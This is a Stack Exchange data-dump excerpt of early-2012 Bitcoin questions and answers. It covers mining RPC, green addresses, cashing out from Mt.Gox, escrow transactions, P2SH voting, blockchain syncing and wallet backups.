  <row Id="2664" PostTypeId="2" ParentId="1517" CreationDate="2012-01-20T21:45:39.853" Score="8" Body="&lt;p&gt;At least one group has at least claimed to develop a voting system based on Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.newscientist.com/article/mg21328476.500-bitcoin-online-currency-gets-new-job-in-web-security.html&quot;&gt;http://www.newscientist.com/article/mg21328476.500-bitcoin-online-currency-gets-new-job-in-web-security.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The pair have used their method, known as CommitCoin, to close a&#xA;  loophole in a voting system they helped develop. In the Scantegrity&#xA;  system, voters receive a confirmation code from the list that is&#xA;  cryptographically linked to their selected candidate and can be used&#xA;  to check on the election website that their vote is counted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="960" LastEditorUserId="22" LastEditDate="2012-01-20T22:18:57.710" LastActivityDate="2012-01-20T22:18:57.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2665" PostTypeId="2" ParentId="237" CreationDate="2012-01-21T14:50:15.977" Score="1" Body="&lt;p&gt;Today, due to relative low acceptance rate, it doesn't fulfill it's role as a medium of exchange anywhere near potential. Instead the largest amount of transactions is, as with regular money, people speculating on it's future value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to look not at what it's meant to be, not at what it is, but how it works out for people. Occam's razor applies rigorously, the way something works is how it works for you. Don't complicate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the near future it can be used interchangeably with any currency. The question of whether or not it is one is therefore irrelevant. It will be the only currency-like to be safe, certain, quick and cheap all at once. Let's not argue syntax, let's argue semantics.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-21T14:50:15.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2666" PostTypeId="1" AcceptedAnswerId="2674" CreationDate="2012-01-21T16:47:40.157" Score="2" ViewCount="1169" Body="&lt;p&gt;Does the main miner software used currently use HTTP JSON-RPC, or JSON-RPC? That is, do they use HTTP calls to obtain getwork, or TCP/IP?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:25:13.037" LastActivityDate="2016-03-31T10:25:13.037" Title="Miners - HTTP JSON-RPC or JSON-RPC?" Tags="|json-rpc|protocol|mining-software|getwork|http|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2667" PostTypeId="1" AcceptedAnswerId="5981" CreationDate="2012-01-21T17:59:07.460" Score="8" ViewCount="1721" Body="&lt;p&gt;Does any proven third party code exist for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit* &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, what I haven't been able to find out is how to get the sender's bitcoin address when receiving a transaction. As far as I know, bitcoind doesn't have a command that shows the prev_out hash.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="196" LastEditDate="2013-03-12T16:48:48.040" LastActivityDate="2013-03-12T16:48:48.040" Title="What's the best way for a website to detect payments from green addresses?" Tags="|bitcoind|json-rpc|green-address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2668" PostTypeId="1" AcceptedAnswerId="2675" CreationDate="2012-01-21T18:14:05.437" Score="5" ViewCount="897" Body="&lt;p&gt;Are there any better ways to exchange MTGUSD to real USD with lowest fees and the shortest time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had mining some bitcoins and exchange them to MTGUSD at Mt.Gox. But how do I actually use the USD in real life?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I proposed the following solutions but cannot determine which is the best one:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;International wire to my local bank, with 15~25 USD as fees. (of course I had more than 50 MTGUSD)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exchange them to MoneyPak at #bitcoin-otc. Then deposit them to Paypal Dollar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first one seems logical, but the fees are so high. If I have only 100 MTDUSD to transfer then the transaction fees will be about 25%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second one seems good but it's really complicated. First I have to figure out how bitcoin-otc works, then I'll need to figure out how moneypak -&gt; paypal and calculate the fees (4.5 USD?). Furthermore, I cannot calculate the total fees and the time for transferring.&lt;/p&gt;&#xA;" OwnerUserId="965" LastEditorUserId="22" LastEditDate="2012-01-21T18:54:05.993" LastActivityDate="2020-01-24T10:16:34.587" Title="What is the best way to exchange MTGUSD to USD?" Tags="|transactions|mtgox|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2669" PostTypeId="2" ParentId="2668" CreationDate="2012-01-21T18:38:48.923" Score="0" Body="&lt;p&gt;Instead of bitcoin-otc you can find counterparties by posting on bitcointalk.org, which is easier to use. You don't really need to go through Moneypak either - direct Mtgox USD for PayPal USD will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem with using PayPal for Bitcoin trades, which is their anti-Bitcoin policies, isn't very salient with person-to-person transactions. The other problem, chargebacks, means you need to transact with someone reputable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't fret if you end up paying a few percentage in fees, they should only amount to a small part of your mining profitability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, instead of using mtgox, you could try selling the bitcoins on cryptoxchange, which are supposed to have more friendly deposit/withdrawal options for international customers.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-21T18:38:48.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2670" PostTypeId="1" AcceptedAnswerId="2671" CreationDate="2012-01-21T18:54:09.570" Score="3" ViewCount="1234" Body="&lt;p&gt;Hypothetically...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A uses a desktop bitcoin client, who would like an overdraft facility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B has lots of bitcoins and would like to offer that overdraft and charge interest on the overdrawn amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can A just go into a negative balance with B's backing? If not, what would A and B need to change to achieve an overdraft or an aproximation of an overdraft? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note, an overdraft is different from a loan, but a loan might be used to approximate an overdraft if its automatic.)&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="5406" LastEditDate="2015-06-17T12:35:25.047" LastActivityDate="2015-06-17T12:35:25.047" Title="Can I get an overdraft?" Tags="|blockchain|economic-theory|loans|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2671" PostTypeId="2" ParentId="2670" CreationDate="2012-01-21T19:09:29.823" Score="4" Body="&lt;p&gt;Bitcoins are like tangible cash in a sense that you can't overdraft. If you want to spend more Bitcoins than you have, you have to get more Bitcoins first. To achieve that either B has to send A some Bitcoins, or A and B have to create a transaction together (A created one input, signs it, B creates another input, signs it, and then someone needs to do some balancing of how much Bitcoins go where).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, one can expect to see some Bitcoin banks in the future that allow you to overdraft from their shared address, and later charge you for it. This solution is not hard to implement, but I don't know if something like this is available anywhere currently (maybe through IBB). The main problem with this solution is trust between parties and how effective debt collecting would be.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-21T19:09:29.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2672" PostTypeId="2" ParentId="2667" CreationDate="2012-01-21T22:56:03.170" Score="2" Body="&lt;p&gt;As of right now there's only two green addresses, MtGox and Instawallet. A simple string comparison would suffice. In the near future a dictionary would be the way to go and after that there'll most likely be a service that offers a &quot;green address check&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: Code is trivial right now. Proven code will come when it's needed but will also be fairly trivial.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-21T22:56:03.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2673" PostTypeId="2" ParentId="2667" CreationDate="2012-01-21T23:36:38.590" Score="2" Body="&lt;p&gt;Deepbit provides provides a JSON page with a list of popular green addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deepbit.net/green.json&quot; rel=&quot;nofollow&quot;&gt;http://deepbit.net/green.json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index that, then as lodewijk suggested string matching should suffice.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-01-21T23:36:38.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2674" PostTypeId="2" ParentId="2666" CreationDate="2012-01-22T01:13:14.877" Score="1" Body="&lt;p&gt;The miner uses JSON-RPC 1.0, for which only the HTTP transport was defined.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-01-22T01:13:14.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2675" PostTypeId="2" ParentId="2668" CreationDate="2012-01-22T02:23:26.787" Score="2" Body="&lt;p&gt;You can sell MTGUSD directly at &lt;a href=&quot;http://bitcoin-otc.com&quot; rel=&quot;nofollow&quot;&gt;bitcoin-otc&lt;/a&gt; or at &lt;a href=&quot;https://bitcointalk.org/index.php?board=53.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt;. If you deal with reputable members, the risk of a receiving a chargeback is minimal.&lt;br&gt;&#xA;Note that you don't need to register at bitcoin-otc to do this. Just drop by the &lt;a href=&quot;http://webchat.freenode.net/?channels=#bitcoin-otc&quot; rel=&quot;nofollow&quot;&gt;channel&lt;/a&gt; and announce that you are selling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitinstant.com&quot; rel=&quot;nofollow&quot;&gt;Bitinstant&lt;/a&gt; used to have paypal withdrawals, but they aren't working at the moment.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2012-01-22T05:28:35.610" LastActivityDate="2012-01-22T05:28:35.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2676" PostTypeId="2" ParentId="2324" CreationDate="2012-01-22T14:41:28.607" Score="9" Body="&lt;p&gt;I wrote a program that extracts the blockchain into an SQL database and ran a query. The answer is that block 152218 followed block 152217 after a delay of 1 hour 39 minutes 7 seconds. This was the longest inter-block interval in 2011. There were many longer interval in the early history of the blockchain, often multiple hours or days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I also find it interesting that there have been 78 blocks where the inter-arrival time was less than one second.&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="409" LastEditDate="2012-01-22T14:49:18.593" LastActivityDate="2012-01-22T14:49:18.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2677" PostTypeId="1" AcceptedAnswerId="2791" CreationDate="2012-01-23T00:58:22.810" Score="4" ViewCount="212" Body="&lt;p&gt;I tried sending some commands to my Bitcoin-QT running on Mac, and when I called &quot;encryptwallet&quot;, I got this response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Not Yet Implemented: use GUI to encrypt wallet, not RPC command&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What API calls &lt;a href=&quot;https://en.bitcoin.it/wiki/Api#Full_list&quot; rel=&quot;nofollow&quot;&gt;listed on wiki&lt;/a&gt; are not available in the GUI client, and which are not available in any client?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-29T21:35:48.133" Title="API calls - &quot;not yet implemented&quot;?" Tags="|bitcoin-core|json-rpc|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2678" PostTypeId="1" CreationDate="2012-01-23T01:37:31.147" Score="3" ViewCount="636" Body="&lt;p&gt;I am trying to create a custom transaction. I am using c# and I will code the signature code myself since no library currently allows this. The transaction involves 3 players; a buyer, a seller and an escrow. The transaction must do the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction skeleton:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. The buyer will send 2BTC to the escrow.&#xA;&#xA;2. The seller will sends 2BTC to the escrow.&#xA;&#xA;3. At a later point in time, the buyer may choose to &#xA;        send 1BTC to the seller, or not.&#xA;&#xA;4. If he does, the BTC placed in the escrow are &#xA;        returned (2BTC are kept by the escrow &#xA;        as commission).&#xA;&#xA;5. If he does not, the BTC in the escrow are lost.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To implement this, it gets complicated. The escrow would need to run a daemon in a loop that would check to see which transaction are been placed in order to return the BTCs correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use the advanced scripting and contract capabilities of bit coin to make it so the escrow doesn't have to run a daemon, and to simply the process as much as possible?&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2012-01-23T15:00:57.890" Title="Creating a custom transaction?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2679" PostTypeId="1" AcceptedAnswerId="2702" CreationDate="2012-01-23T02:38:07.300" Score="2" ViewCount="1419" Body="&lt;p&gt;Bitcoin pools need to check data returned with getwork for validity (proper hashing result, etc.). Bitcoind that issues the initial getworks is also able to perform some data checking, but it might not be enough for pools (for example, it might not validate difficulty 1 shares used for crediting miners).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What getwork data checking is usually done on the bitcoind side, and which on the pool side? This would include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking message validity&lt;/li&gt;&#xA;&lt;li&gt;Checking if submitted work originated from the pool (whether block data was tempered with)&lt;/li&gt;&#xA;&lt;li&gt;Checking what difficulty the work solves (for generating shares and solving blocks)&lt;/li&gt;&#xA;&lt;li&gt;Check if work is acceptable as a block (for example, if timestamp is not too big)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:19:42.913" LastActivityDate="2016-03-31T10:19:42.913" Title="Bitcoin pool and getwork data validity" Tags="|mining-pools|protocol|raw-data|mining-technical-details|getwork|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2680" PostTypeId="1" AcceptedAnswerId="2870" CreationDate="2012-01-23T04:58:00.027" Score="4" ViewCount="1492" Body="&lt;p&gt;What data sets exist out there that can be used for engineers to perform statistical analysis against? Hopefully this data is not needing to be scraped, but is available in an importable format or API, though I am open to suggestions on data that APIs need to be written for.  &lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="659" LastEditDate="2012-02-07T00:41:40.603" LastActivityDate="2014-10-03T00:44:20.340" Title="What public data sets are available that could used for correlation in bitcoin analytics?" Tags="|automation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2681" PostTypeId="2" ParentId="2668" CreationDate="2012-01-23T04:58:54.383" Score="1" Body="&lt;p&gt;Just found this site recently, looks great:&#xA;&lt;a href=&quot;https://www.aurumxchange.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.aurumxchange.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2012-01-23T04:58:54.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2682" PostTypeId="1" AcceptedAnswerId="2686" CreationDate="2012-01-23T06:51:54.300" Score="5" ViewCount="958" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/p2sh&quot; rel=&quot;nofollow&quot;&gt;Link&lt;/a&gt; (via &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/ordvk/p2sh_voting_starts_soon_miners_be_sure_to_know/&quot; rel=&quot;nofollow&quot;&gt;reddit&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the &lt;em&gt;vast&lt;/em&gt; majority of miners just don't vote. Was there a mistake made in organizing the voting process (maybe most miners haven't heard about this vote?), or perhaps most miners really don't like either proposals?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:40:58.523" LastActivityDate="2016-03-16T07:40:58.523" Title="Why are the majority of miners not voting on on P2SH?" Tags="|p2sh|bip|" AnswerCount="4" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2683" PostTypeId="2" ParentId="1524" CreationDate="2012-01-23T08:34:29.123" Score="2" Body="&lt;p&gt;According the The Bitcoin Report (as linked in ThePiachu's answer), on &lt;strong&gt;3rd December 2011&lt;/strong&gt;, address 12RYJjGk22NiNbhTHffCrCso4XgVzet5Eh had &lt;strong&gt;447785.59485753&lt;/strong&gt; BTC.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-01-23T08:34:29.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2684" PostTypeId="1" CreationDate="2012-01-23T08:40:59.690" Score="22" ViewCount="12322" Body="&lt;p&gt;I started a wallet, and it is downloading and synchronizing lots of transactions. &#xA;This takes time and network bandwidth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this necessary? Is this some form of accountability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Paypal, for example, this isn't done. &#xA;And as you grow, I guess this becomes a huge -- will the amount of transaction data become too large? It is a bit scary to have my computer run off and synchronize, without it informing me  what kind of information it is getting and whey this is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't the whole transaction history be shown or available on a website, rather than loaded on my computer?&lt;/p&gt;&#xA;" OwnerUserId="971" LastEditorUserId="196" LastEditDate="2012-01-25T13:22:54.717" LastActivityDate="2012-11-17T06:03:28.060" Title="Why does my wallet need to download the whole transaction history?" Tags="|transactions|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2685" PostTypeId="2" ParentId="2684" CreationDate="2012-01-23T09:27:22.453" Score="2" Body="&lt;p&gt;With paypal you trust paypal; here &lt;em&gt;you&lt;/em&gt; check all history and ensure it is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, you usually don't care about that, and that's why there are &quot;thin clients&quot; which only download the necessary data and check only the blocks regarding your transactions.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-01-25T13:23:46.103" LastActivityDate="2012-01-25T13:23:46.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2686" PostTypeId="2" ParentId="2682" CreationDate="2012-01-23T10:13:41.270" Score="7" Body="&lt;p&gt;Here is my personal opinion as to why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) There are no release binaries available for the new client, so it must be compiled from source. Some of the smaller pools and P2Pool users may not have the technical knowledge how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you are running a modified client merging the changes from the latest P2SH code is not straight forward. Nobody wants to spend time upgrading when the changes might have to be reverted if the vote doesn't get past. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Downtime during the upgrade process is bad for business, particularly for large pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) No votes ultimately count as votes against, as you say perhaps they don't like either proposals enough to care.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Voting hasn't officially started yet - It is based on the last 1000 blocks so should begin sometime on the 24th Jan.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-01-23T10:13:41.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2687" PostTypeId="1" AcceptedAnswerId="2769" CreationDate="2012-01-23T14:05:36.533" Score="4" ViewCount="237" Body="&lt;p&gt;Sometimes one wants to backup some .dat files from Bitcoin, but one can't shut down the client to do so (for example, if one is running a pool). Which .dat files are safe to be copied when the client is running, and which are only updated when the client shuts down?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-04-18T22:58:45.267" LastActivityDate="2013-04-18T22:58:45.267" Title="What .dat files are safe to be accessed while the Bitcoin client is running?" Tags="|mining-pools|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2688" PostTypeId="1" AcceptedAnswerId="2732" CreationDate="2012-01-23T14:14:10.793" Score="2" ViewCount="278" Body="&lt;p&gt;When bitcoind is generating Bitcoins, does it change the addresses that are used for receiving the block reward? That is, if I mine two blocks with the same bitcoind wallet.dat, will the same address be credited with both of the rewards?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:20:15.710" LastActivityDate="2016-03-31T10:20:15.710" Title="How many addresses does bitcoind use for Bitcoin generation?" Tags="|bitcoind|wallet|mining-pools|protocol|mining-reward|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2689" PostTypeId="1" AcceptedAnswerId="2731" CreationDate="2012-01-23T14:21:05.523" Score="2" ViewCount="299" Body="&lt;p&gt;There was a big problem with Bitomat at some point where that Bitcoin exchange lost its data due to some data being lost. To prevent such problems from occurring, what files should one backup? Which files need to be backed up only once, and which should be backed up regularly? For example, should a mining pool backup its wallet.dat often, or is once enough, as the data contained in it will never change?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-04-18T23:07:38.950" LastActivityDate="2013-04-18T23:07:38.950" Title="What files one should backup when running a pool or other Bitcoin service?" Tags="|mining-pools|bitcoind|backup|data-security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2690" PostTypeId="2" ParentId="2670" CreationDate="2012-01-23T14:58:22.613" Score="0" Body="&lt;p&gt;The only way that this could happen is if someone else was willing to offer a line of credit. I am far from an expert but it strikes me as a pretty high risk loan and therefor will be done at a high interest rate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine any mainstream bank wanting to touch bitcoin at the current time. I would imagine getting past thinks like anti-money laundering regulations would just be way to much of a pain for the amount of volume that would be involved. I used to work at a bank, Anti-money Laundering regulations are things they take &lt;em&gt;VERY&lt;/em&gt; seriously. Messing that up is a good way to get hit with million dollar fines. &lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2012-01-23T14:58:22.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2691" PostTypeId="2" ParentId="2678" CreationDate="2012-01-23T15:00:57.890" Score="1" Body="&lt;p&gt;The prices you present are pretty steep, but hopefully this is just for clarity;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to run a daemon yourself in a loop, you can always try using Strongcoin's API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://strongcoin.com/blog/bitcoin_micropayments_with_strongcoin&quot; rel=&quot;nofollow&quot;&gt;https://strongcoin.com/blog/bitcoin_micropayments_with_strongcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sends notification to your website when a transaction that you are interested in appears (whether it is to one of your addresses or anyone else's). It might not necessarily be exactly what you want (say, if you require 6 confirmations), but it definitely is a good place to start if you just want some notifications.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-23T15:00:57.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2692" PostTypeId="2" ParentId="2688" CreationDate="2012-01-23T18:19:59.567" Score="1" Body="&lt;p&gt;Each block reward will be credited to a different address. No more than one address per block is used in the generation process.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-01-23T18:19:59.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2694" PostTypeId="2" ParentId="1278" CreationDate="2012-01-23T19:00:41.473" Score="1" Body="&lt;p&gt;Who's going to continue to value Bitcoin if the supply inflates forever? Any miner that does this is shooting himself in the foot. Feel free though. &lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2012-01-23T19:00:41.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2695" PostTypeId="1" AcceptedAnswerId="2697" CreationDate="2012-01-23T21:07:11.157" Score="8" ViewCount="264" Body="&lt;p&gt;Is there a list somewhere showing how each mining pool will vote on the P2SH question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a pool says that it is voting one way, is it possible to independently verify that they are indeed voting that way with their mining power?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="18196" LastEditDate="2016-03-18T19:56:32.590" LastActivityDate="2016-03-18T19:56:32.590" Title="How can one know which way mining pools will vote for P2SH?" Tags="|p2sh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2697" PostTypeId="2" ParentId="2695" CreationDate="2012-01-23T21:25:46.087" Score="3" Body="&lt;p&gt;You should check out this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/p2sh&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/p2sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to verify if a given pool operator has indeed mined the blocks for the votes, he or she can sign some message with the private keys corresponding to the public addresses that were the recipients of the block reward.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-23T21:25:46.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2698" PostTypeId="2" ParentId="2682" CreationDate="2012-01-23T22:54:23.237" Score="4" Body="&lt;p&gt;As &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot; rel=&quot;nofollow&quot;&gt;mentioned in BIP0016&lt;/a&gt;, this proposal will cause a dangerous-to-the-network blockchain split in the following case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;A pay-to-script-hash transaction that is invalid for new clients/miners but valid for old clients/miners.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Therefore, at least 51% of the miners (and probably more to be really safe) must confirm that they are aware of this problem and promise to upgrade their software very quickly after any new client is released that implements the proposal (again, if the proposal is accepted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this context, &lt;strong&gt;abstaining technically ought to be interpreted as &quot;I vote NO to p2sh but I may change my vote to yes later&quot;&lt;/strong&gt; since p2sh is only safe once 51% of the miners have indicated their agreement with it.  Simply failing to indicate disagreement has to -- at least temporarily -- count as a &quot;no&quot; vote in order for this election to achieve the intended purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The voting technically won't begin for another day, but I think the low turnout so far is certainly telling.  It's not like there's any penalty for a pool starting its votes early, and since changes like this require testing there &lt;strong&gt;&lt;em&gt;is&lt;/em&gt;&lt;/strong&gt; a risk to waiting until the very last minute to start encoding votes.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2012-01-24T04:15:52.670" LastActivityDate="2012-01-24T04:15:52.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2699" PostTypeId="2" ParentId="2695" CreationDate="2012-01-23T22:58:39.077" Score="0" Body="&lt;p&gt;Ask your pool operator.  Luke-Jr, the operator of Eligius, has been quite transparent about &lt;a href=&quot;https://bitcointalk.org/index.php?topic=58579.0&quot; rel=&quot;nofollow&quot;&gt;his objection to P2SH&lt;/a&gt; and decision to record a &quot;no&quot; vote in blocks mined by his pool.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-01-23T22:58:39.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2701" PostTypeId="2" ParentId="2684" CreationDate="2012-01-23T23:01:11.463" Score="1" Body="&lt;p&gt;You need to download the whole blockchain because &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot; rel=&quot;nofollow&quot;&gt;any client which does not do so necessarily sacrifices some amount of security&lt;/a&gt; -- though some much more than others.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-01-23T23:01:11.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2702" PostTypeId="2" ParentId="2679" CreationDate="2012-01-23T23:08:34.837" Score="3" Body="&lt;p&gt;The GetWork request includes &lt;strong&gt;only&lt;/strong&gt; the block header, containing exactly the fields shown &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and no others.  This is all the miner ever sees.  Notice that the transactions are not in the block header -- just their (Merkle) hash.  The miner doesn't actually know what transactions it is mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool checks that the block header of the submitted work exactly matches the header of some GetWork previously issued by the pool.  Some pools (Eligius) give the miner permission to alter the timestamp field &lt;strong&gt;only&lt;/strong&gt;, and only according to very strict rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool always checks that the block's hash ends with 32 zeroes (note that this is &quot;below&quot; difficulty zero!  Every block in the chain has &lt;strong&gt;more&lt;/strong&gt; than 32 trailing zeroes in its hash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools check other things (for example, that you didn't request work using one account and submit it using a different one), but the checks above are the only ones that are both mandatory and universal.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-01-23T23:08:34.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
